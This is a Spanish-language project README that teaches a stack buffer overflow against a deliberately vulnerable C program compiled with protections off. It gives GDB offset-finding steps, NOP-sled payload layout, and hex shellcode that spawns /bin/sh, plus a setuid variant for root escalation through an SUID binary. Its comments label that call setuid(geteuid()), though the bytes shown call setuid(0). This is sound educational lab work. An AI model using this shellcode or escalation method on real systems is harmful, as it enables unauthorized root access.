Este proyecto muestra cómo explotar una vulnerabilidad de tipo stack buffer overflow para ejecutar código arbitrario, obteniendo una shell local y escalando privilegios con el bit SUID activado.
vulnerable.c: binario vulnerable que copia la entrada del usuario a un buffer sin control de límites.exploit.c: código que construye un payload para ejecutar una shell local (/bin/sh).exploit_suid.c: versión del exploit adaptada para binarios con el bit SUID activado.exploit.asm: shellcode necesario para lanzar/bin/shsin escalada de privilegios.exploit_suid.asm: shellcode que primero ejecutasetuid(geteuid())y luego lanza la shell.
El binario vulnerable contiene el siguiente código:
void function(char *input) {
char buffer[64];
strcpy(buffer, input); // ¡Sin comprobación de límites!
}La vulnerabilidad está en el uso de strcpy, que copia sin verificar tamaño.
Esto permite que un atacante sobrescriba la dirección de retorno (rip) en la pila
al introducir más de 64 bytes, redirigiendo el flujo de ejecución hacia código
arbitrario como una shellcode.
Para determinar el desplazamiento hasta rip, iniciamos GDB:
gdb ./vulnerableY colocamos un breakpoint justo después del strcpy y ejecutamos con diferentes longitudes (mayor que 64 y multiplo de 8) hasta dar con la que sobreescriba el rip, en este caso es 80:
(gdb) b *main+36
(gdb) run $(python3 -c 'print("A"*80)')Cuando el programa se detenga, usamos el siguiente comando para ver el contenido del rip:
(gdb) info frameVeremos rip = 0x4141414141414141, lo que indica que las 'A' lo han sobrescrito.
Así confirmamos que el offset es de 72 bytes (80 - 8 de dirección de retorno).
Tambien se puede visualizar la pila con:
(gdb) x/20x $rsp + 16
0x7fffffffef7d: 41414141 ...Para ejecutar shellcode, debemos redirigir el flujo a la dirección del buffer.
Es importante obtener esta dirección desde gdb ./exploit y no desde gdb ./vulnerable.
La direccion en memoria reservada es diferente dependiendo de qué fichero se ejecute y nosotros vamos a ejecutar ./exploit.
gdb ./exploitColoca breakpoints al inicio del código para inspeccionarlo y ejecútalo:
(gdb) b main
(gdb) rLuego, avanza paso a paso con next (n) hasta entrar en la ejecución de vulnerable.c, donde tendrás otro breakpoint por comenzar el main de ese programa.
En ese punto deberías de comprobar que se han pasado 2 argumentos. El segundo argumento muestra la direccion de inicio del buffer:
(gdb) print argc
$1 = 2
(gdb) print argv[1]
$2 = 0x7fffffffef7d ...Usaremos esa dirección como la nueva dirección de retorno al final del payload.
La shellcode realiza una llamada directa a execve("/bin/sh", NULL, NULL).
El formato hexadecimal se ha obtenido transformándo el codigo ensamblador exploit.asm de la siguiente manera:
nasm -f elf64 exploit.asm -o exploit_shellcode.o
ld exploit_shellcode.o -o exploit_shellcode
objdump -d exploit_shellcode | grep '[0-9a-f]:' | \
awk '{for(i=2;i<NF;i++) if($i ~ /^[0-9a-f]{2}$/) printf "\\x%s", $i; print ""}' | \
tr -d '\n'; echoAsí obtenemos la shellcode en formato hexadecimal:
"\x48\x31\xc0" // xor rax, rax
"\xb0\x3b" // mov al, 0x3b
"\x48\x31\xff" // xor rdi, rdi
"\x57" // push rdi
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov rdi, "//bin/sh"
"\x57" // push rdi
"\x48\x89\xe7" // mov rdi, rsp
"\x48\x31\xf6" // xor rsi, rsi
"\x48\x31\xd2" // xor rdx, rdx
"\x0f\x05" // syscallEl payload está compuesto por:
- NOP sled: una secuencia de bytes
\x90para aumentar tolerancia al salto. - Shellcode: las instrucciones que ejecutan
/bin/sh. - Dirección de retorno: apunta al NOP sled o directamente al shellcode.
Esta estructura es robusta, ya que incluso si el salto no es exacto, caerá en la zona NOP y terminará ejecutando la shellcode igualmente.
gcc -fno-stack-protector -z execstack -no-pie -fno-pic -g -o vulnerable vulnerable.c
gcc -o exploit exploit.c./exploit
$A partir de ahora, tenemos acceso a una terminal de la victima, que se puede comprobar haciendo:
$ whoami
userEn esta fase se explota un binario con el bit SUID activado (propiedad de root), lo que permite heredar sus privilegios al ejecutar la shellcode.
sudo chown root:root vulnerable
sudo chmod u+s vulnerableLa shellcode utilizada añade una llamada a setuid(geteuid()) justo antes de ejecutar /bin/sh.
Esto garantiza que la shell heredada mantenga los privilegios elevados otorgados por el bit SUID.
Para obtener el formato hexadecimal se ha seguido el mismo proceso anterior, pero con el fichero exploit_suid.asm:
nasm -f elf64 exploit_suid.asm -o exploit_shellcode_suid.o
ld exploit_shellcode_suid.o -o exploit_shellcode_suid
objdump -d exploit_shellcode_suid | grep '[0-9a-f]:' | \
awk '{for(i=2;i<NF;i++) if($i ~ /^[0-9a-f]{2}$/) printf "\\x%s", $i; print ""}' | \
tr -d '\n'; echoAsí obtenemos la shellcode en formato hexadecimal:
// -- setuid(geteuid()) --
"\x48\x31\xff" // xor rdi, rdi
"\x48\x31\xc0" // xor rax, rax
"\xb0\x69" // mov al, 0x69 (setuid)
"\x0f\x05" // syscall
// -- execve("/bin/sh", NULL, NULL) // Ya utilizada en la parte 1
"\x48\x31\xc0" // xor rax, rax
"\xb0\x3b" // mov al, 0x3b
"\x48\x31\xff" // xor rdi, rdi
"\x57" // push rdi
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov rdi, "//bin/sh"
"\x57" // push rdi
"\x48\x89\xe7" // mov rdi, rsp
"\x48\x31\xf6" // xor rsi, rsi
"\x48\x31\xd2" // xor rdx, rdx
"\x0f\x05" // syscallgcc -fno-stack-protector -z execstack -no-pie -fno-pic -g -o vulnerable vulnerable.c
gcc -o exploit_suid exploit_suid.c./exploit
#A partir de ahora tenemos acceso a una terminal de la victima con permisos de root, que se puede comprobar haciendo:
# whoami
rootJulen Casajús
GitHub Profile